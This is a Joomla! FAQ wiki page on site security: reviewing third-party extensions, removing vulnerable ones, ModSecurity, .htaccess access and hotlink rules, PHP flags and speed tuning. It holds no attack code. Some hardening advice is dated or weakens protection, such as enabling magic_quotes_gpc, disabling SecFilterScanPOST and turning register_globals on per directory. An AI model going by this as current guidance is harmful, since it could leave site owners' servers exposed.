&#039;&#039;&#039;Although the Joomla! core is secure when configured correctly, third party extensions come in all flavors of age and quality. Unless you absolutely trust the extension developer, always review the code should before installing. The following is a list of typical areas of concern.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. How complex is the extension? &lt;br /&gt;
&lt;br /&gt;
: The larger it is, the more likely it is to have problems, and the more carefully you should review it. If you can&#039;t tell what it&#039;s doing, you should not trust it.&lt;br /&gt;
&lt;br /&gt;
2. Does the extension read or write files to your server? &lt;br /&gt;
&lt;br /&gt;
: Programs that read files may inadvertently violate access restrictions you&#039;ve set up, or pass sensitive system information to crackers. Programs that write files have the potential to modify or damage existing files, or introduce trojan horses.&lt;br /&gt;
&lt;br /&gt;
3. Does the extension interact with other programs on your system? &lt;br /&gt;
&lt;br /&gt;
: For example, many extensions send e-mail in response to a form input by opening a connection with the sendmail program. Is it doing this in a safe way?&lt;br /&gt;
&lt;br /&gt;
4. Does the extension run with suid (set-user-id) privileges? &lt;br /&gt;
&lt;br /&gt;
: In general this is very dangerous; extensions need an excellent reasons for doing this.&lt;br /&gt;
&lt;br /&gt;
5. Does the extension validate all user input, such as in form fields and in the URL?&lt;br /&gt;
&lt;br /&gt;
6. Does the extension use explicit path names when invoking external programs? &lt;br /&gt;
&lt;br /&gt;
: Relying on the PATH environment variable to resolve partial path names is a dangerous practice.&lt;br /&gt;
&lt;br /&gt;
7. Is the extension secure against direct access throught the URL? &lt;br /&gt;
&lt;br /&gt;
: For example: www.yoursite.com/components/com_bad_extension.php?lots_of_bad_code_here&lt;br /&gt;
&lt;br /&gt;
8. Is the extension secure against remote file inclusions?&lt;br /&gt;
&lt;br /&gt;
9. Is the extension secure against SQL injections?&lt;br /&gt;
&lt;br /&gt;
10. Is the extension secure against Cross Site Scripting (XSS)?&lt;br /&gt;
&lt;br /&gt;
11. Does the extension need PHP register_globals ON, or Joomla! RG Emulation ON? &lt;br /&gt;
&lt;br /&gt;
: If so, then it is probably violating number 7 above.&lt;br /&gt;
&lt;br /&gt;
12. Does the extension provide higher database access to less privileged users? &lt;br /&gt;
&lt;br /&gt;
: For example does it allow guests or registered users to view data that only publishers or administrators should be able to see?&lt;br /&gt;
&lt;br /&gt;
==Why does the Extensions site include insecure extensions?==&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The Joomla! Extensions site exists as a free service to the community. Anyone can post extensions there and extensions exist at all levels of quality and maturity.&lt;br /&gt;
&lt;br /&gt;
If an extension is found to contain vulnerabilities, it will be removed from the site until a safer version is released, but there is no guarantee that the vulnerabilities of every extension have been discovered or reported.&lt;br /&gt;
&lt;br /&gt;
To be safe, you must verify the security of every extension you install.&lt;br /&gt;
&lt;br /&gt;
Below is the text of the Joomla! Extensions site disclaimer. Ignore it at your peril. &lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Disclaimer&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: The extensions and reviews listed in this area have been submitted by the community and their listing does not constitute or imply endorsement, recommendation, or favouring by Joomla!/OSM.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
: This content is provided as a free service to our visitors, and, as such, Joomla!/OSM cannot be held liable for the accuracy of the information. Visitors wishing to verify that the information is correct should contact the parties responsible for authoring the content and/or development of the extension.&lt;br /&gt;
&lt;br /&gt;
==Why is there a warning in the extensions install screen?==&lt;br /&gt;
&lt;br /&gt;
It&#039;s just a warning! You are of course free to install any extension you want onto your own site, but remember that &#039;&#039;&#039;YOU&#039;&#039;&#039; are responsible for the safety of your site and the quality of the applications you install.&lt;br /&gt;
&lt;br /&gt;
The vast majority of reported Joomla! vulnerabilities are through poorly-written or obsolete versions of third party extensions that should not have been left on the server. Therefore, before installing anything carefully evaluate the quality of the extension&#039;s code.&lt;br /&gt;
&lt;br /&gt;
The [[Vulnerable Extensions List]] is a valuable source of information on what &#039;&#039;&#039;NOT&#039;&#039;&#039; to install.&lt;br /&gt;
&lt;br /&gt;
==Why isn&#039;t un-publishing a vulnerable extension enough to protect my site?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: Simply removing the menu links to an extension, or unpublishing a module is NOT enough to protect your site! As long as the extension&#039;s files exist on your server, you are vulnerable. Note how in the following examples an attacker can bypass the Joomla! index file to directly target any file, of any extension.&lt;br /&gt;
&lt;br /&gt;
 www.your_site.org/components/com_bad_component/vulnerable_file.php&lt;br /&gt;
 www.your_site.org/modules/mod_bad_module/vulnerable_file.php&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions for removing a vulnerable extension&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Make a list of files to remove&lt;br /&gt;
&lt;br /&gt;
: If you can locate it, read the extension&#039;s xml file to determine exactly which directories, files, and database tables were added to your system. The xml file is in the original zip archive used during the extension install process. For example, the zip archive for an extension called mod_vulnerable, would contain an xml file called, mod_vulnerable.xml, and might contain a list of files such as the following:&lt;br /&gt;
&lt;br /&gt;
 mod_vulnerable.php&lt;br /&gt;
 mod_vulnerable/vulnerable_file.txt&lt;br /&gt;
 mod_vulnerable/another_vulnerable_file.txt&lt;br /&gt;
 mod_vulnerable/yet_another_vulnerable_file.txt&lt;br /&gt;
 mod_vulnerable/index.html&lt;br /&gt;
&lt;br /&gt;
2. Uninstall via the Joomla Installer:&lt;br /&gt;
&lt;br /&gt;
: Using the Installer in the Joomla! Administrator backend, uninstall the vulnerable extension. You may also need to uninstall related modules, components, or plugins.&lt;br /&gt;
&lt;br /&gt;
3. Check that the uninstall process was complete:&lt;br /&gt;
&lt;br /&gt;
: Don&#039;t trust the extension to safely remove all of it&#039;s files. Compare directories and files on your system to the extension&#039;s xml list to ensure that all related files were actually removed.&lt;br /&gt;
&lt;br /&gt;
4. Optionally, remove related database tables:&lt;br /&gt;
&lt;br /&gt;
: Check your database and remove any tables created by the extension. To ease the upgrade process to new versions, many uninstall scripts do not remove related database tables. You can find the list of tables in each extension&#039;s xml file. (If you plan on installing a safer, compatible version of the same extension and you want to reuse existing data, you can usually leave the database tables as they are.)&lt;br /&gt;
&lt;br /&gt;
= Apache =&lt;br /&gt;
&#039;&#039;&#039;Covers information on Apache Web server, Apache modules, .htaccess files, etc.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==What is Apache modSecurity?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
ModSecurity is an Apache module that functions as an embeddable web application firewall. It provides protection from a range of attacks against web applications and allows for HTTP traffic monitoring and real-time analysis with no changes to existing infrastructure. It is also an open source project that aims to make web application firewall technology available to everyone.&lt;br /&gt;
&lt;br /&gt;
When configuring ModSecurity, it is important to know that it is not only the Joomla! application that may require unique rules, but also the data that the application processes.&lt;br /&gt;
&lt;br /&gt;
Quality hosting providers customize mod_security rules to suit each customer. &lt;br /&gt;
&lt;br /&gt;
If you have a conflict between Joomla and ModSecurity, it is often third party components, and sometimes even contact form submissions that trigger the problem. Joomla out of the box &#039;&#039;usually&#039;&#039; works with typical ModSecurity settings, but this is dependent on each hosting provider&#039;s unique configuration. &lt;br /&gt;
&lt;br /&gt;
Overall, mod_security is a excellent tool, but this is really something your host should manage.&lt;br /&gt;
&lt;br /&gt;
One specific error is the failure of file uploads, this is often caused by SecFilterScanPOST being enabled. If you get an internal server error while using the flash upload in the Media Manager this is a good place to start. You can disable this setting by adding &#039;&#039;&#039;SecFilterScanPOST Off&#039;&#039;&#039; to your .htaccess file.&lt;br /&gt;
&lt;br /&gt;
ModSecurity configurations are far too varied and complex to describe here. To learn more, see the following resources:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Resources&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# [http://www.modsecurity.org/ Official ModSecurity Site]&lt;br /&gt;
# [http://www.modsecurity.org/projects/modsecurity/apache/index.html ModSecurity and Apache]&lt;br /&gt;
&lt;br /&gt;
== How do I block directory scans using  .htaccess? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Add one of the following Apache rewrite rules to your .htaccess file. The first example will internally rewrite all attempts to access files with names starting with &amp;quot;phpMyAdmin&amp;quot; to index.php. Be wary of using this as it allows a seemingly valid duplicate URL for your homepage. The second rule is more safe. It simply returns a 403 response.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&#039;&#039;&#039;Sample Apache Rewrite Rule&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
 RewriteRule ^phpMyAdmin /index.php [L]&lt;br /&gt;
 RewriteRule ^phpMyAdmin - [F]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Some Regular Expression Tips&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
 ^ Means start of pattern&lt;br /&gt;
 . Means any character other than newlines&lt;br /&gt;
 + Means one or more of the previous character&lt;br /&gt;
 * Means zero or more of the previous character&lt;br /&gt;
 $ Means end of pattern&lt;br /&gt;
 \.  Literal periods must be escaped with a leading \&lt;br /&gt;
&lt;br /&gt;
==How can I change PHP settings using .htaccess? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Introduction&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
This FAQ explains how to set boolean PHP configuration directives using php_flag. The format for php_flag is: php_flag name on|off&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Open the .htaccess file located in your site&#039;s home directory, or if you don&#039;t have one, create a blank one now. Note the period character (.) at the beginning of the file name.&lt;br /&gt;
&lt;br /&gt;
2. Add any of the following code samples to your .htaccess file, each on it&#039;s own line. These sample commands will prevent common global variable injection attacks, cross site scripting (XSS) sttacks, and code injection attacks.&lt;br /&gt;
&lt;br /&gt;
 php_flag register_globals off&lt;br /&gt;
&lt;br /&gt;
 php_flag allow_url_fopen off&lt;br /&gt;
&lt;br /&gt;
 php_flag magic_quotes_gpc on&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;Note that although the magic_quotes_gpc directive adds a layer of security, for performance reasons it is not considered a best practice. If you have verified that your site correctly filters and validates all user data (and every production site really should), then there is no need to add this directive. If you have any doubt, add it.&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
3. Save the .htaccess file in your site&#039;s home directory.&lt;br /&gt;
&lt;br /&gt;
4. Test your site&#039;s front end and back end.&lt;br /&gt;
&lt;br /&gt;
==How does FastCGI effect Joomla?==&lt;br /&gt;
&lt;br /&gt;
When PHP runs from FastCGI, your server runs the PHP interpreter like an Apache module, but with the rights of your user account. Usually, the PHP interpreter is either running as the user of the webserver (which is fast, but insecure, since everyone&#039;s scripts run with the same rights), or as a CGI program, which is slow. Thus, FastCGI is a good solution for shared hosting.&lt;br /&gt;
&lt;br /&gt;
Since the PHP interpreter runs as a single instance, it does (AFAIK) not parse the .htaccess or php.ini files per directory. To change php.ini settings, your host must offer you a method to set up or modify your own php.ini, or at least parts of it. Here is how one of host does this: it parses one php.ini file (which the user can modify) once an hour, and puts some well-defined settings into the web server&#039;s main php.ini file. Thus, users are able to change some settings for their site only, such as turning register_globals off, switching between PHP4 and PHP5.&lt;br /&gt;
&lt;br /&gt;
If your server uses FastCGI, you can ask them to enable a method such as the above example, or you may be able to ask them adjust some settings for you.&lt;br /&gt;
&lt;br /&gt;
==How can I check if mod_rewrite is enabled?==&lt;br /&gt;
&lt;br /&gt;
Many problems with search engine optimization (SEO) arise from the fact that a host has not enabled mod_rewrite on the server.&lt;br /&gt;
&lt;br /&gt;
1. Enable SEO in your administrator! (administrator &amp;gt; SEO &amp;gt; Enable &amp;gt; Save)&lt;br /&gt;
&lt;br /&gt;
2. Rename your htaccess.txt to .htaccess, or use your existing .htaccess file.&lt;br /&gt;
&lt;br /&gt;
3. Place ONLY the following lines in your .htaccess file in the domain root folder.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;apache&amp;quot;&amp;gt;      Options +FollowSymLinks&lt;br /&gt;
      RewriteEngine On&lt;br /&gt;
      RewriteRule ^joomla\.html http://www.joomla.org/ [R=301,L]&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
4. Point your browser to: http://www.example.com/joomla.html&lt;br /&gt;
&lt;br /&gt;
(Replace &#039;example.com&#039; with your site&#039;s actual URL.)&lt;br /&gt;
&lt;br /&gt;
5. If you are redirected to www.joomla.org, mod_rewrite is working. If you get an error, mod_rewrite is not working.&lt;br /&gt;
&lt;br /&gt;
6. Note: if your site is located in a folder, for example &amp;quot;test&amp;quot; you will need to modify the .htaccess file as follows:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;apache&amp;quot;&amp;gt;      Options +FollowSymLinks&lt;br /&gt;
      RewriteEngine On&lt;br /&gt;
      RewriteRule ^test/joomla\.html http://www.joomla.org/ [R=301,L]&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== How do I switch to PHP5 using .htaccess? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Many shared server environments currently run .php scripts using the PHP4 interpreter and .php5 code using the PHP5 interpreter. Rather than changing all your file extensions, and perhaps breaking many links, use a .htaccess file to dynamically map one extension to the other.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;IMPORTANT CAVEAT:&#039;&#039;&#039; One common reason for doing this is that hosts leave PHP4 configured with register_globals ON in order to support legacy code while offering PHP5 with register_globals OFF. If you are on a shared server at a host that has configured register_globals ON server wide, you should be very worried!&lt;br /&gt;
&lt;br /&gt;
Turning register globals OFF via a local php.ini or a .htaccess file will NOT offer you any extra protection. Another exploited account on your server can simple hack yours. For server security, and since php 4.2, register globals is OFF server wide by default (php default). Any host overriding this is inviting trouble. If you need register globals ON for a specific site, simple use a .htaccess file for that specific directory, and server wide security will not be compromised. Of course, if you do this be sure all effected scripts fully sanitize input data.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Requirements&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Your Apache server must be configured to use .htaccess files. If not, you may be able to request this from your host.&lt;br /&gt;
2. Your Apache configuration must allow the following setting. If not, you may be able to request this from your host.&lt;br /&gt;
3. Your host must have configured the .php and .php5 file extensions as described above. If not, they may possibly have chosen other extensions. Check with your host.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Check to be sure your site is configured to use .htaccess files.&lt;br /&gt;
&lt;br /&gt;
2. Make a backup of the .htaccess file in your root public_http directory. If you don&#039;t have a .htaccess file at this location, create one now.&lt;br /&gt;
&lt;br /&gt;
3. There are various ways to set the comman, depending on your server configuration. One of the following will probably work. Add ONE the following lines at the end of your .htaccess file. If unsure which to use, check with your hosting provider on which version works best for your configuration.&lt;br /&gt;
&lt;br /&gt;
 AddType x-mapp-php5 .php&lt;br /&gt;
 AddHandler application/x-httpd-php5 .php&lt;br /&gt;
 AddHandler cgi-php5 .php&lt;br /&gt;
&lt;br /&gt;
4. Carefully test.&lt;br /&gt;
&lt;br /&gt;
5. Delete the backup .htaccess file. Don&#039;t leave backups of .htaccess files in public directories.&lt;br /&gt;
&lt;br /&gt;
==How do I password protect directories using .htaccess?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
This FAQ explains how to protect the Joomla! /administrator/ directory on Apache servers using the htpasswd utility. You can easily adapt these instructions to protect other directories. If you need help finding or creating your .htaccess file, start here.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Caveat (From Apache.org)&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Basic authentication should not be considered secure for any particularly rigorous definition of secure.&lt;br /&gt;
Although the password is stored on the server in encrypted format, it is passed from the client to the server in plain text across the network. Anyone listening with any variety of packet sniffer will be able to read the username and password in the clear as it goes across.&lt;br /&gt;
&lt;br /&gt;
Not only that, but remember that the username and password are passed with every request, not just when the user first types them in. So the packet sniffer need not be listening at a particularly strategic time, but just for long enough to see any single request come across the wire.&lt;br /&gt;
&lt;br /&gt;
And, in addition to that, the content itself is also going across the network in the clear, and so if the web site contains sensitive information, the same packet sniffer would have access to that information as it went past, even if the username and password were not used to gain direct access to the web site.&lt;br /&gt;
&lt;br /&gt;
Don&#039;t use basic authentication for anything that requires real security. It is a detriment for most users, since very few people will take the trouble, or have the necessary software and/or equipment, to find out passwords. However, if someone had a desire to get in, it would take very little for them to do so.&lt;br /&gt;
&lt;br /&gt;
Basic authentication across an SSL connection, however, will be secure, since everything is going to be encrypted, including the username and password.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. If you are unfamiliar with the Apache htpasswd utility, you may want to read the following link first.&lt;br /&gt;
Apache Authentication, Authorization, and Access Control&lt;br /&gt;
&lt;br /&gt;
2. Check to be sure your site is configured to use .htaccess files. If not sure, ask your host.&lt;br /&gt;
&lt;br /&gt;
3. Decide where to put your .htaccess file. Because Apache recursively searches all directories in a path for .htaccess files, the higher in your directory structure you place this file, the more directories it will control. If there is already an .htaccess file in the directory you choose, it&#039;s probably best to add the new code to it.&lt;br /&gt;
&lt;br /&gt;
4. Decide where to store your.htpasswd and .htgroups files. These files should NEVER be publicly accessable through the Web. Below is an example directory structure showing good locations for each file. Note that the /auth/ directory in this example is NOT accessible from the Web.&lt;br /&gt;
&lt;br /&gt;
 /home/mysite/public_html/.htaccess&lt;br /&gt;
 /home/mysite/auth/.htpasswd/&lt;br /&gt;
 /home/mysite/auth/.htgroups/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
5. Create the .htpasswd and .htgroups files as explained in the official Apache HowTo, referenced above. (Since you&#039;ve read the always current and official documentation at Apache.org, we&#039;ll spare you the trouble of displaying it again here.)&lt;br /&gt;
&lt;br /&gt;
6. If a .htaccess file already exists in the directory you have chosen, make a backup copy. If the file does not exist, create a new file with that name now. (Don&#039;t forget the dot at the beginning of the name.)&lt;br /&gt;
&lt;br /&gt;
7. Add the following code to the .htaccess file. Adjust the example paths (marked in red) as needed for your server. Adjust the group name that you created in step 5 if it differs from the below example.&lt;br /&gt;
&lt;br /&gt;
 AuthUserFile /home/auth/.htpasswd&lt;br /&gt;
 AuthGroupFile /home/auth/.htgroups&lt;br /&gt;
 AuthType Basic&lt;br /&gt;
 AuthName &amp;quot;LWS&amp;quot;&lt;br /&gt;
 require group admins&lt;br /&gt;
&lt;br /&gt;
8. Test carefully.&lt;br /&gt;
&lt;br /&gt;
9. Remove all backup .htaccess files from public_http directories.&lt;br /&gt;
&lt;br /&gt;
10. If you cannot use the Apache htpasswd utility, here&#039;s a free, online script that creates the necessary files for you. You&#039;ll need to know the user name, password, and path. The script does the rest for you. Note that for more advanced configuration, such as the use of groups, you&#039;ll need to edit the resulting files.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;.htaccess Generator:&#039;&#039;&#039; http://www.webmaster-toolkit.com/htaccess-generator.shtml&lt;br /&gt;
&lt;br /&gt;
== How do I restrict directory access by IP address using .htaccess? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
This can be a very effective way to protect your Joomla! administrator directory. Any other directory in public_html can be protected in the same way. This method only works if you have a static IP address assigned to you. Anyone attempting to browse such directories using a different IP Address will get a 403 Forbidden error.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
# In the directory you wish to protect, open (or create) a file called, .htaccess. (Note the dot at the beginning of the file name.)&lt;br /&gt;
# Add the following code to this file, replacing 100.100.100.100 in this example with the static IP address you plan to allow:&lt;br /&gt;
&lt;br /&gt;
 Order Deny,Allow&lt;br /&gt;
 Deny from all&lt;br /&gt;
 Allow from 100.100.100.100&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Optional: You can enter partial IP Addresses, such as, 100.100.100. This allows access to a range of addresses.&lt;br /&gt;
&lt;br /&gt;
* Optional: You can add multiple addresses by separating them with comma&#039;s.&lt;br /&gt;
&lt;br /&gt;
 100.100.100.101, 100.100.100.102&lt;br /&gt;
&lt;br /&gt;
==How do I convert an htaccess.txt file into a .htaccess file?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Introduction&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
When using PHP as an Apache module, you can change the configuration settings using directives in Apache configuration files (e.g. httpd.conf and .htaccess files). You will need &amp;quot;AllowOverride Options&amp;quot; or &amp;quot;AllowOverride All&amp;quot; privileges to do so. If you control your own Apache configuration, you can and should use httpd.conf. If you do not control your Apache configuration (such as on a shared server), you must use .htaccess files.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# First look for the file, htaccess.txt in your root directory. It should have been installed during the Joomla! installation. (Note that this file name does not begin with a dot.) Open and carefully read htaccess.txt. It contains important suggestions on how to protect your site.&lt;br /&gt;
# Make any adjustments to this file as appropriate for your site, and then save it in your site&#039;s home directory as, .htaccess (including the dot).&lt;br /&gt;
# Test your site&#039;s front end and back end. If it produces errors, rename the file back to htaccess.txt, and troubleshoot your edits. If you are unable to get this working, you may have to leave the file named htaccess.txt.&lt;br /&gt;
# Use phpinfo() to ensure that all configurations set as you intended. Note: Web-accessible files that include phpinfo() are potential security risks they offer attackers lots of useful information about your server. Always remove such files after use.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;More Information&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* [http://us2.php.net/configuration.changes Official PHP Manual: How to change configuration settings]&lt;br /&gt;
* [http://us2.php.net/manual/en/ini.php#ini.list Official PHP Manual: List of PHP INI directives]&lt;br /&gt;
&lt;br /&gt;
== How do I block direct hot linking to image files using .htaccess? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Caveats&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Your server must allow .htaccess files for this technique to work.&lt;br /&gt;
# If you do not have a .htaccess file in your root directory, see the related FAQ first.&lt;br /&gt;
# Do not use this method to redirect image hot links to HTML pages or to servers that are not your own.&lt;br /&gt;
# Hot linked images can only be replaced by other images, not with HTML pages.&lt;br /&gt;
# As with any .htaccess rewrite, you may block legitimate traffic, such as users behind proxies or firewalls.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Create a jpeg image called no_hot_link.jpe. Note that the odd file extention (.jpe) is intentional and important. Place this file in your images directory.&lt;br /&gt;
# Place the following code in the .htaccess file of your root directory.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;apache&amp;quot;&amp;gt; RewriteEngine On&lt;br /&gt;
 RewriteCond %{HTTP_REFERER} !^http://([^.]+\.)*your_site\.com/ [NC]&lt;br /&gt;
 RewriteCond %{HTTP_REFERER} !^$&lt;br /&gt;
 RewriteRule \.(jpe?g|gif|bmp|png)$ /images/no_hot_link.jpe [L]&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Explanation&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The first line begins the Apache rewrite rule. The second line matches any requests from your own site, here called your_site.com url. The [NC] flag means &amp;quot;aNy Case&amp;quot;, which means, match any and all upper and lower case characters. The third line allows empty referrals such as when a user is behind a caching proxy. The last line matches any files ending with the extension jpeg, jpg, gif, bmp, or png. This is then replaced by the no_hot_link.jpe file in your images directory. This JPEG file uses the extension jpe instead of jpg to prevent these rules from blocking your replacement image.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Block hot linking from specific domains&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
To stop hotlinking from specific domains only, such as myspace.com, blogspot.com and livejournal.com, while allowing other web sites to hotlink to your images, use the following code:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;apache&amp;quot;&amp;gt; RewriteEngine On&lt;br /&gt;
 RewriteCond %{HTTP_REFERER} ^http://([^.]+\.)*myspace\.com/ [NC,OR]&lt;br /&gt;
 RewriteCond %{HTTP_REFERER} ^http://([^.]+\.)*blogspot\.com/ [NC,OR]&lt;br /&gt;
 RewriteCond %{HTTP_REFERER} ^http://([^.]+\.)*livejournal\.com/ [NC]&lt;br /&gt;
 RewriteRule \.(jpe?g|gif|bmp|png)$ /images/nohotlink.jpe [L]&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
You can add as many different domains as you want. Every RewriteCond line except the last one should end with the [NC,OR] flags. NC means to ignore case. OR means &amp;quot;Or Next&amp;quot;, as in, match this line OR the next line. The last RewriteCond omits the OR flag to stop matching after the last RewriteCond.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Display a 403 forbidden code&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Alternatively, you can display a 403 Forbidden error code. Replace the last line of the previous examples with this line:&lt;br /&gt;
&lt;br /&gt;
 RewriteRule \.(jpe?g|gif|bmp|png)$ - [F]&lt;br /&gt;
&lt;br /&gt;
= PHP =&lt;br /&gt;
&lt;br /&gt;
== Why is Joomla! written in PHP? ==&lt;br /&gt;
&lt;br /&gt;
: Might as well get it from the horse&#039;s mouth. In [http://www.oracle.com/technology/pub/articles/php_experts/rasmus_php.html Do you PHP?], Rasmus Lerdorf, the originator of PHP, sums up how and why PHP developed as it did.&lt;br /&gt;
&lt;br /&gt;
: &#039;&#039;&amp;quot;What it all boils down to is that PHP was never meant to win any beauty contests. It wasn&#039;t designed to introduce any new revolutionary programming paradigms. It was designed to solve a single problem: the Web problem. That problem can get quite ugly, and sometimes you need an ugly tool to solve your ugly problem. Although a pretty tool may, in fact, be able to solve the problem as well, chances are that an ugly PHP solution can be implemented much quicker and with many fewer resources. That generally sums up PHP&#039;s stubborness.&amp;quot;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
== What is the latest stable release of PHP? ==&lt;br /&gt;
&lt;br /&gt;
Check the [http://www.php.net/downloads.php official PHP download page] for information on the latest PHP release.&lt;br /&gt;
&lt;br /&gt;
== How do I tune for speed with PHP5 and MySQL5? ==&lt;br /&gt;
&lt;br /&gt;
: This is just a point by point summary of how I&#039;ve been tuning and tweaking our Joomla sites to get them running as quickly as possible. For reference, we run all our sites off a Rackspace dedicated server, with 1Gb RAM, a 2Ghz dual core Athlon, running Apache 2.0.x (current revision), PHP 5.0.x (current revision) and MySQL 5.0.18.&lt;br /&gt;
&lt;br /&gt;
: These are listed in terms of apparent speed increase - that is, not the sheer speed for the full page, but the speed before the page is usable to view content, even if not all features are loaded.&lt;br /&gt;
&lt;br /&gt;
# PHP caching. I had been running eAccelerator, but switched to APC today, and it has made the system even faster than before, and eAccelerator was a big boost over uncached PHP. Joomla is a big complex system, so using precompiled code is a big time saver. I use a 128Mb in-memory cache, which is plenty for our needs.&lt;br /&gt;
# MySQL Query Caching. This one will vary depending on how dynamic your site is, and you can really kill the benefits by using the wrong extensions (any date/time based will need checking), but if you are serving pretty much the same queries each page load, it will drop the load times noticably.&lt;br /&gt;
# Template Image optimisation - template images really slow down the initial page load for first time visitors, so optimising the hell out of them makes sense. Remember that your template is probably not going to change as often as your story content, so you can afford to spend more time on optimising the images for it that you would otherwise. I recommend Irfanview, with the pngout plugin active for PNG images, and it isn&#039;t bad for JPG and GIF images either. Don&#039;t forget to ramp up the compression level of PNGs, and, if possible, reducing them to indexed pallettes.&lt;br /&gt;
# CSS compression. Easy one this - put a little script to output a gzipped version of your CSS file(s) and point your index.php at it. Example script below - I didn&#039;t write it, but it&#039;s short, to the point, and works.&lt;br /&gt;
&lt;br /&gt;
              ob_start (&amp;quot;ob_gzhandler&amp;quot;);&lt;br /&gt;
              header(&amp;quot;Content-type: text/css&amp;quot;);&lt;br /&gt;
              header(&amp;quot;Cache-Control: must-revalidate&amp;quot;);&lt;br /&gt;
              $offset = 60 * 60 ;&lt;br /&gt;
              $ExpStr = &amp;quot;Expires: &amp;quot; .&lt;br /&gt;
              gmdate(&amp;quot;D, d M Y H:i:s&amp;quot;,&lt;br /&gt;
              time() + $offset) . &amp;quot; GMT&amp;quot;;&lt;br /&gt;
              header($ExpStr);&lt;br /&gt;
&lt;br /&gt;
# Strip unneeded modules, components, mambots from Joomla. If you haven&#039;t used them, the impact on your loading time is minimal, but with more components/modules active, there are more points of failure, and Apache errors are slow!&lt;br /&gt;
# Scrutinise the Apache error log. It is amazing how many errors can crop up even with a fairly minimal Joomla install, and they don&#039;t necessarily affect the appearance of the page. Check your error log, especially if you are using custom components/modules, or any non-standard config settings. Once you&#039;ve noticed any problems, it&#039;s time to fix the code creating them, and test thoroughly before uploading the fixed versions.&lt;br /&gt;
# Keep rechecking as you add/remove features, redesign or change any server configuration options. Even things like adding virtual servers in Apache can affect speed of the server, as a missed config setting can cause general Apache delays.&lt;br /&gt;
&lt;br /&gt;
== Should PHP run as a CGI script or as an Apache module? ==&lt;br /&gt;
&lt;br /&gt;
